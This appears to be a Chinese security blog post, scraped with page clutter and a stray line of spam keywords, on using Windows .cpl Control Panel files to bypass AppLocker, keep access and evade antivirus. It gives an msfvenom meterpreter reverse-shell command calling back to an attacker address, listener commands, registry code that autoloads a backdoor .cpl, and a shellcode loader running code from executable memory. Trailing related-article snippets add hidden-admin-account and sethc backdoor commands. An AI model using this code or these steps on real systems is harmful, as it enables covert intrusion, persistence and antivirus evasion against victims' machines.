<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨 | 巧用cpl文件維持權限和免殺

    VSole2021-08-12 08:33:00

    前言

    最近無意間發現了cpl文件,之前對該類型的文件了解幾乎為零,由于觸及到我的知識盲區,于是決定探究。

    cpl文件

    CPL文件,是Windows控制面板擴展項,CPL全拼為Control Panel Item 在system32目錄下有一系列的cpl文件,分別對應著各種控制面板的子選項

    列入我們win+R輸入main.cpl

    將會打開控制面板中的鼠標屬性

    cpl文件本質是屬于PE文件

    但cpl并不像exe,更像是dll,無法直接打開,只能以加載的形式運行。并且有一個導出函數CPlApplet 該函數是控制面板應用程序的入口點,它被控制面板管理程序自動調用,且是個回調函數。

    如何打開cpl

    1.雙擊或者win+r xxx.cpl 2.control <文件名> 3.rundll32 shell32.dll,Control_RunDLL <文件名> 注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe實質調用了rundll32.exe。打開后找不到control.exe進程,只能找到rundll32.exe。

    4.vbs腳本

    Dim obj
    Set obj = CreateObject("Shell.Application")
    obj.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl")
    

    5.js腳本

    var a = newActiveXObject("Shell.Application");
    a.ControlPanelItem("C:\\Users\\11793\\Desktop\\cpl.cpl");
    

    如何自己制造一個cpl文件

    最簡單的方式:直接創建一個dll,無需導出函數,然后改后綴名

    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
    )
    {
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    WinExec("Calc.exe", SW_SHOW);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
    }
    return TRUE;
    }
    

    隨便一種方式執行

    這里既然可以彈出calc.exe,那么能不能執行自己的payload的呢,答案是肯定的。

    cpl文件的應用

    bypass Windows AppLocker

    什么是Windows AppLocker: AppLocker即“應用程序控制策略”,是Windows 7系統中新增加的一項安全功能。在win7以上的系統中默認都集成了該功能。

    默認的Applocker規則集合,可以看到cpl并不在默認規則中:

    開啟Applocker規則: 打開計算機管理,選擇服務,將Application Identity服務開啟

    然后在安全策略中,添加一條applocker規則,會詢問是否添加默認規則

    默認規則為:

    假設設置某一路徑無法執行可執行程序,再次運行時就會提示組策略安全,不允許運行

    繞過的方式有很多,這里只講cpl文件 完全可以把代碼寫入到cpl文件中,同樣達到執行目的,這里就彈一個cmd

    msf直接生成cpl文件

    生成cpl文件 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl

    將文件拖到本地并運行,msf監聽

    ?use exploit/multi/handler?set payload windows/meterpreter/reverse_tcp?set lhost 192.168.111.128?set lport 8877?exploit

    這樣肯定是不夠的,可以把這個cpl文件當作一個后門,做到一個權限維持的效果,且比較隱蔽。將cpl文件名稱改為test.cpl 創建一個項目,作用為修改注冊表:

    HKEY hKey;
    DWORD dwDisposition;
    char path[] = "C:\\test.cpl";
    RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
    RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1+ ::lstrlenA(path)));
    

    不一定將cpl文件放到c盤更目錄,可以自定義路徑 執行后

    然后這里在開啟control.exe時,test.cpl文件也會被打開。

    如果目標主機有殺軟,可以通過該方法白加黑繞過,但是msf的cpl文件特征非常明顯,靜態太概率都會被殺掉。

    除了加殼之外,寄希望于自己實現加載shellcode,方便做混淆。

    使用shellcode自己做一個cpl文件

    直接上代碼

    #include"pch.h"
    #include"windows.h"
    extern"C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
    {
    MessageBoxA(0, NULL, "test", MB_OK);
    /* length: 835 bytes */
    unsignedchar buf[] = "shellcode";
        LPVOID Memory= VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
    }
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
    )
    {
    switch(ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
    }
    return TRUE;
    }
    

    這是最最最最基礎的loader 先打開control.exe看看效果

    看看查殺率

    這里上傳的文本,shellcode沒有做任何的處理,查殺率已經算比較低的,如果混淆一下,很輕松的就可以靜態過殺軟,再用白加黑,是不是想想就很輕松呢。

    經過一系列處理后,找殺毒能力還比較強的360試一下

    免殺控制面板
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    最近無意間發現了cpl文件,之前對該類型的文件了解幾乎為零,由于觸及到我的知識盲區,于是決定探究。
    系統安全第37篇普及Metasploit技術,希望您喜歡
    可以通過注冊表或直接用戶管理刪除隱藏的用戶。0x2 Shift 后門將 C:\WINDOWS\system32\dllcache\sethc.exe 刪除,這個文件夾中放著緩存,如果不刪除就會自動變回去。按下 5下 shift 即可彈出管理權限的 DOS 窗口。0x3 放大鏡后門創建 magnify.bat@echo off. 下的 magnify.exe登陸時通過組合鍵 Win+U 調用。DLL劫持利用搜索順序來加載惡意DLL以代替合法DLL。如果應用程序使用Windows的DLL搜索來查找DLL,且攻擊者可以將同名DLL的順序置于比合法DLL更高的位置,則應用程序將加載惡意DLL。劫持系統程序具有兼容性,劫持用戶程序則有針對性。
    后滲透之權限維持的13種方法-Windows
    一個內網安全攻防的知識倉庫
    0x1 匿名用戶 net user administrator$ woaijiushi /add && net localgroup administrators administrator$ /add PS:通過在用戶后面添加$符號的形式將用戶達到隱藏的效果。 可以通過注冊表或直接用戶管理刪除隱藏的用戶。 0x2 Shift 后門 將 C:\WINDOWS\system32\dllcache
    系統安全第47篇介紹Cape沙箱批量提取動態特征,希望對您有所幫助
    系統安全第46片介紹惡意軟件分析經典沙箱Cape的基礎用法,希望您喜歡!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类